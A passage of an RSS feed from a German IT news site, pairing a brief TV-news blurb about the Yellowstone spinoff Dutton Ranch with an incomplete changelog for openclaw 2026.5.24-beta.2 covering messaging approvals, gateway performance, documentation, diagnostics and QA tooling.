<title><![CDATA[Dutton Ranch fans are already hoping one unhinged character 'doesn't survive' first season of Taylor Sheridan's Yellowstone spinoff series — but for the 'dumbest reason']]></title>
<description><![CDATA[It's unusual that you're rooting for a character to be killed off, but in Yellowstone spinoff Dutton Ranch, someone has got a fan hex for the 'dumbest' reason possible.]]></description>
<link>https://tsecurity.de/de/3548217/it-nachrichten/dutton-ranch-fans-are-already-hoping-one-unhinged-character-doesnt-survive-first-season-of-taylor-sheridans-yellowstone-spinoff-series-but-for-the-dumbest-reason/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3548217/it-nachrichten/dutton-ranch-fans-are-already-hoping-one-unhinged-character-doesnt-survive-first-season-of-taylor-sheridans-yellowstone-spinoff-series-but-for-the-dumbest-reason/</guid>
<pubDate>Tue, 26 May 2026 16:03:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It's unusual that you're rooting for a character to be killed off, but in Yellowstone spinoff Dutton Ranch, someone has got a fan hex for the 'dumbest' reason possible.]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.24-beta.2]]></title>
<description><![CDATA[2026.5.24
Changes

iMessage: support thumb-approval reactions — 👍 (Like tapback) resolves an approval as allow-once and 👎 resolves as deny, with the explicit-approver allowlist read from channels.imessage.allowFrom; allow-always stays on the manual /approve  allow-always text fallback. Mirrors th...]]></description>
<link>https://tsecurity.de/de/3544401/downloads/openclaw-2026524-beta2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544401/downloads/openclaw-2026524-beta2/</guid>
<pubDate>Mon, 25 May 2026 02:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.24</h2>
<h3>Changes</h3>
<ul>
<li>iMessage: support thumb-approval reactions — <code>👍</code> (Like tapback) resolves an approval as <code>allow-once</code> and <code>👎</code> resolves as <code>deny</code>, with the explicit-approver allowlist read from <code>channels.imessage.allowFrom</code>; <code>allow-always</code> stays on the manual <code>/approve &lt;id&gt; allow-always</code> text fallback. Mirrors the WhatsApp behavior from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>.</li>
<li>Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.</li>
<li>Gateway/perf: cache stable install-record, channel-catalog, bundled-channel, and Telegram session-store metadata during process-local hot paths to reduce repeated JSON and manifest reads.</li>
<li>Gateway/perf: reuse immutable plugin metadata snapshots across startup, config, model, channel, setup, and secret metadata readers so hot paths avoid repeated plugin file stats and manifest registry reloads.</li>
<li>Talk/realtime: let WebUI and Discord voice callers ask for active OpenClaw run status, cancel, steer, or queue follow-up work while a consult is still running. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479342391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84231/hovercard" href="https://github.com/openclaw/openclaw/pull/84231">#84231</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>Discord/voice: add realtime wake-name gating with agent-name defaults and raise profile bootstrap context budget for longer <code>USER.md</code>/<code>SOUL.md</code> files.</li>
<li>Gateway/perf: lazy-load startup-idle plugin work, core gateway method handlers, and the embedded ACPX runtime so Gateway health and ready signals no longer wait on unused handler trees or ACPX probes.</li>
<li>Gateway/perf: cache plugin SDK public-surface alias maps and skip irrelevant macOS Linuxbrew PATH probes so Gateway startup avoids repeated filesystem walks and slow missing-directory stats.</li>
<li>Image tool: add adaptive model-aware image compression with an <code>agents.defaults.imageQuality</code> preference for choosing token-efficient, balanced, or high-detail media handling.</li>
<li>Meeting Notes: add a source-only external meeting-notes plugin and SDK source-provider contract outside the core npm package, with auto-start capture config, manual transcript imports, read-only <code>openclaw meeting-notes</code> CLI access, and Discord voice as the first live source.</li>
<li>Meeting Notes/Discord: release channel account startup before meeting-notes auto-capture, wait for the Discord voice manager during gateway boot, and stop plugin services before channel shutdown so voice capture state remains available during startup and cleanup.</li>
<li>Docs/channels/config: add Signal <code>configPath</code>, Telegram wildcard topic defaults, local-time backup archive names, Termux home fallback, include-path validation, secret-scanner-safe placeholder guidance, Gemini CLI/Antigravity media guidance, and macOS VM auto-login guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NorseGaud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NorseGaud">@NorseGaud</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yudistiraashadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yudistiraashadi">@yudistiraashadi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huangqian8/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huangqian8">@huangqian8</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VibhorGautam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VibhorGautam">@VibhorGautam</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maweibin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maweibin">@maweibin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxingleo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxingleo">@tianxingleo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgnacioPro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgnacioPro">@IgnacioPro</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xzcxzcyy-claw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xzcxzcyy-claw">@xzcxzcyy-claw</a>.</li>
<li>Docs: clarify model-usage portability, Codex migration prerequisites, status bootstrap wording, thread-bound subagent limits, hook ownership, and config-preserving safety guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomDjerry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomDjerry">@TomDjerry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matthewxmurphy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matthewxmurphy">@matthewxmurphy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stablegenius49/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stablegenius49">@stablegenius49</a>.</li>
<li>Docs: clarify README onboarding and Gateway startup paths, WhatsApp QR/408 recovery, cron output language prompts, skill advanced features, gateway upstream 403 troubleshooting, and plugin fallback override guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zacxxx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zacxxx">@Zacxxx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neyric/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neyric">@neyric</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usimic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usimic">@usimic</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Renu-Cybe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Renu-Cybe">@Renu-Cybe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BigUncle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BigUncle">@BigUncle</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SeashoreShi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SeashoreShi">@SeashoreShi</a>.</li>
<li>Docs: clarify context-pruning ratio bounds, local dashboard recovery, CLI env markers, remote onboarding token behavior, and Peekaboo Bridge permissions for subprocess agents. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ayesha-aziz123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ayesha-aziz123">@ayesha-aziz123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dishraters/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dishraters">@dishraters</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hougangdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hougangdev">@hougangdev</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brandonlipman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brandonlipman">@brandonlipman</a>.</li>
<li>Docs: clarify browser CDP diagnostics, Plugin SDK allowlist imports, status-reaction timing defaults, queue steering behavior, limited-tool troubleshooting, cron HEARTBEAT handling, Telegram multi-agent groups, Bitwarden SecretRef setup, and EasyRunner deployments. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Quratulain-bilal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Quratulain-bilal">@Quratulain-bilal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mickey-/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mickey-">@Mickey-</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vancece/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vancece">@vancece</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xenouzik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xenouzik">@xenouzik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/posigit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/posigit">@posigit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/surlymochan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/surlymochan">@surlymochan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/janaka/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/janaka">@janaka</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/choiking/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/choiking">@choiking</a>.</li>
<li>CLI/models: let <code>openclaw models auth login</code> store a single returned provider auth profile under a requested <code>--profile-id</code>, and document named Codex OAuth profile setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091898835" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49315" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49315/hovercard" href="https://github.com/openclaw/openclaw/pull/49315">#49315</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DanielLSM/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DanielLSM">@DanielLSM</a>.</li>
<li>Crabbox/Testbox: run clean sparse-checkout Testbox syncs from a temporary full checkout and route remote changed gates through Corepack pnpm.</li>
<li>Docs: clarify IPv4-only Gateway BYOH binding, trusted-proxy scope clearing, Android pairing approval, macOS Accessibility grants, Zalo profile env vars, password-store SecretRef setup, and Chinese memory navigation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itskai-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itskai-dev">@itskai-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gwh7078/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gwh7078">@gwh7078</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/longstoryscott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/longstoryscott">@longstoryscott</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MoeJaberr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MoeJaberr">@MoeJaberr</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yuaiccc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yuaiccc">@yuaiccc</a>.</li>
<li>Docs: consolidate GLM under Z.AI, add the Upstash Box install guide and Gateway exposure runbook, clarify MEDIA directives, Copilot and Voyage setup, config path quoting, real behavior proof, and memory-file write guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BobDu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BobDu">@BobDu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alitariksahin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alitariksahin">@alitariksahin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jefsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jefsky">@Jefsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/musaabhasan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/musaabhasan">@musaabhasan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OmerZeyveli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OmerZeyveli">@OmerZeyveli</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WuKongAI-CMU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WuKongAI-CMU">@WuKongAI-CMU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/majin1102/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/majin1102">@majin1102</a>.</li>
<li>Docs: clarify media provider credentials, Codex/OpenClaw code-mode boundaries, Slack and Telegram ack reactions, Feishu dynamic agents, secrets plaintext boundaries, memory guidance, and Chinese glossary terms. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nielskaspers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nielskaspers">@nielskaspers</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drclaw-iq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drclaw-iq">@drclaw-iq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexgduarte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexgduarte">@alexgduarte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chengoak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chengoak">@chengoak</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cassthebandit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cassthebandit">@cassthebandit</a>.</li>
<li>Packaging: exclude documentation images and assets from the npm tarball, reducing published package size without affecting runtime docs search or CLI behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Media understanding: stop auto-probing Gemini CLI and use Antigravity CLI only as a lower-priority image/video fallback after configured provider APIs.</li>
<li>Diagnostics: emit sanitized <code>secrets.prepare</code> timeline spans for Gateway secret preparation so operators can distinguish secret startup latency without exposing provider names, secret ids, or secret values. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Diagnostics: export bounded skill usage metrics/spans and tool source/owner labels for core, plugin, MCP, and channel tool execution without exposing raw paths or session identifiers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravprasadgp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravprasadgp">@gauravprasadgp</a>.</li>
<li>Agents/subagents: limit default sub-agent bootstrap context to <code>AGENTS.md</code> and <code>TOOLS.md</code>, keeping persona, identity, user, memory, heartbeat, and setup files out of delegated workers by default. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501180539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85283" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85283/hovercard" href="https://github.com/openclaw/openclaw/pull/85283">#85283</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Maintainer skills: require clean autoreview before surfacing bug-sweep PR URLs and treat changelog-only conflicts as routine busy-main churn.</li>
<li>Maintainer skills: exclude plugin SDK/API boundary work from <code>openclaw-landable-bug-sweep</code> so bugbash sweeps stay focused on small paper-cut fixes.</li>
<li>QA-Lab/diagnostics: extend the OpenTelemetry smoke harness to prove trace, metric, and log export, and add first-class Prometheus and observability smoke aliases.</li>
<li>Plugin SDK: add a generic channel-message poll sender so channel plugins can expose poll delivery without depending on channel-specific SDK facades.</li>
<li>Plugin SDK/cron delivery: route cron delivery through the modern target resolver and outbound session-route APIs, deprecate parser-backed target helpers and <code>plugin-sdk/messaging-targets</code>, and move bundled callers to <code>plugin-sdk/channel-targets</code>.</li>
<li>Crabbox: keep the local wrapper's provider validation synced with the installed Crabbox binary while preserving supported aliases such as <code>docker</code> and <code>blacksmith</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501761454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85302" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85302/hovercard" href="https://github.com/openclaw/openclaw/pull/85302">#85302</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>.</li>
<li>Maintainer skills: add <code>openclaw-landable-bug-sweep</code> for producing five small, reviewed, CI-green OpenClaw bugfix PRs from issue/PR sweeps.</li>
<li>Control UI/chat: add search and Load More pagination to the chat session picker, keeping initial session loads bounded while making older conversations reachable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500085034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85237" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85237/hovercard" href="https://github.com/openclaw/openclaw/pull/85237">#85237</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>CLI/onboarding: start classic onboarding when bare <code>openclaw</code> runs before an authored config exists, while keeping configured installs on Crestodian. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331787394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72343" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72343/hovercard" href="https://github.com/openclaw/openclaw/pull/72343">#72343</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Discord: allow configuring a bounded <code>agentComponents.ttlMs</code> callback registry lifetime for long-running component workflows, with per-account overrides and a 24-hour cap. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496189" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84189/hovercard" href="https://github.com/openclaw/openclaw/pull/84189">#84189</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>xAI/Grok: reuse xAI OAuth auth profiles for Grok <code>web_search</code>, thread active-agent auth through web search, add Grok model aliases, and let media providers declare default operation timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499295136" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85182/hovercard" href="https://github.com/openclaw/openclaw/pull/85182">#85182</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Plugin SDK: add row-level session workflow helpers and deprecate <code>loadSessionStore</code> so plugins can read and patch sessions without depending on the legacy whole-store shape. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489637163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84693" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84693/hovercard" href="https://github.com/openclaw/openclaw/pull/84693">#84693</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efpiva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efpiva">@efpiva</a>.</li>
<li>Gateway/plugins: reuse a compatible Gateway startup plugin registry during dispatch so safe plugin dispatches avoid redundant registry loading. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481133270" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84324/hovercard" href="https://github.com/openclaw/openclaw/pull/84324">#84324</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
<li>Plugins/SDK: add a general <code>embeddingProviders</code> capability contract and registration API so embeddings can become a reusable provider surface outside memory-specific adapters.</li>
<li>Dependencies: refresh provider, plugin, UI, and tooling packages, update <code>protobufjs</code> to 8.4.0 to clear the current npm advisory, and carry the Claude ACP completion patch forward to <code>@agentclientprotocol/claude-agent-acp</code> 0.36.1.</li>
<li>Agents/tools: remove the old sender-owner tool gating path so configured tools stay visible for trusted sessions while command and channel-action auth still carry real sender identity.</li>
<li>QA-Lab: add curated mock JSONL replay fixtures and first-drift reporting for runtime-parity audits. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415102376" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80176/hovercard" href="https://github.com/openclaw/openclaw/issues/80176">#80176</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a QA bus tool-trace visibility scenario for sanitized tool-call assertions.</li>
<li>QA-Lab: replace generic evidence framing in seeded scenario prompts with concrete observed QA behavior.</li>
<li>QA-Lab: list named scenario packs in the coverage report so personal-agent privacy coverage stays visible in audits.</li>
<li>QA-Lab: list live transport lane membership in the coverage report so real transport checks stay separate from seeded qa-channel scenarios.</li>
<li>Release/package: run package integrity checks before package acceptance lanes so public install/update validation fails before private QA assets can leak into the package.</li>
<li>QA-Lab: include the optional 100-turn runtime parity soak in release-soak artifacts so long-run Codex/Pi transcript drift stays visible outside the default gate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416567023" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80395" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80395/hovercard" href="https://github.com/openclaw/openclaw/issues/80395">#80395</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a live-only long-context progress watchdog scenario for Codex app-server timeout and stalled-run sentinels. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
